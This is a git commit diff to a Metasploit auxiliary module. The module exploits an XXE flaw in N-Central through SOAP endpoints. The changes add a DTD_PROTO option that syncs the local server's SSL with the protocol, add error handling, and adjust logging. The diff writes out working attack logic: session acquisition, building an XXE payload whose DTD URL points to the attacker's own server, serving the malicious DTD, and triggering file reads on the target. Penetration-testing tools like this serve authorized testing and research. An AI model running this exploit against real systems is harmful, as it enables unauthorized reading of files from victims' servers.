Synchronize local server SSL with DTD_PROTO option instead of forcing HTTP

This commit is contained in:
Valentin Lobstein
2025-11-27 22:11:50 +01:00
parent dd06d4c120
commit 1e4527d833
@@ -65,19 +65,18 @@ class MetasploitModule < Msf::Auxiliary
])
register_advanced_options([
OptInt.new('XXETriggerTimeout', [false, 'Maximum time to wait for XXE file read to succeed', 10])
OptInt.new('XXETriggerTimeout', [false, 'Maximum time to wait for XXE file read to succeed', 10]),
OptEnum.new('DTD_PROTO', [false, 'Protocol to use in DTD URL and for the local server (http or https). The local server SSL is synchronized with this option.', 'http', ['http', 'https']])
])
end
def run
@dtd_filename = "#{Rex::Text.rand_text_alpha(8..15)}.dtd"
# NOTE: SSL is disabled by default (via datastore['SSL'] = false from TcpServer) as N-Central (Java)
# cannot validate self-signed certificates (which are auto-generated by TcpServer when SSLCert is
# not provided) and will fail with: "PKIX path building failed:
# sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification
# path to requested target". HTTP works fine for XXE exploitation. Users can enable SSL by setting
# the SSL option, but it will only work if they provide a valid certificate via SSLCert that is
# signed by a trusted certificate authority.
# Synchronize SSL with DTD_PROTO: N-Central (Java) cannot validate self-signed certificates and will fail with:
# "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException:
# unable to find valid certification path to requested target"
original_ssl = datastore['SSL']
datastore['SSL'] = (datastore['DTD_PROTO'] == 'https')
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
@@ -86,6 +85,7 @@ class MetasploitModule < Msf::Auxiliary
'Path' => '/'
}
})
datastore['SSL'] = original_ssl
print_status("Started XXE DTD server on #{srvhost_addr}:#{srvport}")
super
@@ -136,7 +136,10 @@ class MetasploitModule < Msf::Auxiliary
XML
res = send_soap_request('/dms/services/ServerUI', soap_body)
next unless res
unless res
vprint_error("#{rhost}:#{rport} - No response from server, stopping")
return [nil, nil]
end
session_id = parse_session_id(res.body)
return [session_id, appliance_id] if res.code == 200 && session_id
@@ -203,10 +206,11 @@ class MetasploitModule < Msf::Auxiliary
end
def build_xxe_payload
# NOTE: Using http:// only - SSL is disabled as N-Central (Java) fails with:
# "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException:
# unable to find valid certification path to requested target"
dtd_url = "http://#{srvhost_addr}:#{srvport}/#{@dtd_filename}"
# NOTE: DTD_PROTO controls the protocol in the DTD URL that the target will use to fetch the DTD.
# The local server SSL is synchronized with DTD_PROTO. N-Central (Java) cannot validate self-signed certificates
# and will fail with: "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException:
# unable to find valid certification path to requested target". HTTP works fine for XXE exploitation.
dtd_url = "#{datastore['DTD_PROTO']}://#{srvhost_addr}:#{srvport}/#{@dtd_filename}"
template_name = Rex::Text.rand_text_alpha(8..15)
ent_xxe = Rex::Text.rand_text_alpha(4..8)
@@ -238,7 +242,11 @@ class MetasploitModule < Msf::Auxiliary
XML
res = send_soap_request('/dms/services/ServerMMS', soap_body)
res&.code == 200
unless res
vprint_error("#{rhost}:#{rport} - No response from server when writing XXE payload, stopping")
return false
end
res.code == 200
end
def trigger_xxe(session_id, file_path)
@@ -298,7 +306,10 @@ class MetasploitModule < Msf::Auxiliary
def on_request_uri(cli, req)
super
print_status("Received request: #{req.method} #{req.uri} from #{cli.peerhost}")
unless req.uri =~ %r{/#{Regexp.escape(@dtd_filename)}}
vprint_status("Request URI doesn't match DTD filename, returning 404")
send_response(cli, 'Not Found', 404)
return
end
@@ -307,9 +318,13 @@ class MetasploitModule < Msf::Auxiliary
end
def handle_dtd_request(cli)
vprint_status("DTD requested from #{cli.peerhost}")
print_status("DTD requested from #{cli.peerhost}")
dtd = make_xxe_dtd
send_response(cli, dtd, { 'Content-Type' => 'application/xml-dtd' })
vprint_status("Sending DTD (#{dtd.length} bytes): #{dtd[0..100]}...")
send_response(cli, dtd, {
'Content-Type' => 'application/xml-dtd',
'Connection' => 'close'
})
end
def make_xxe_dtd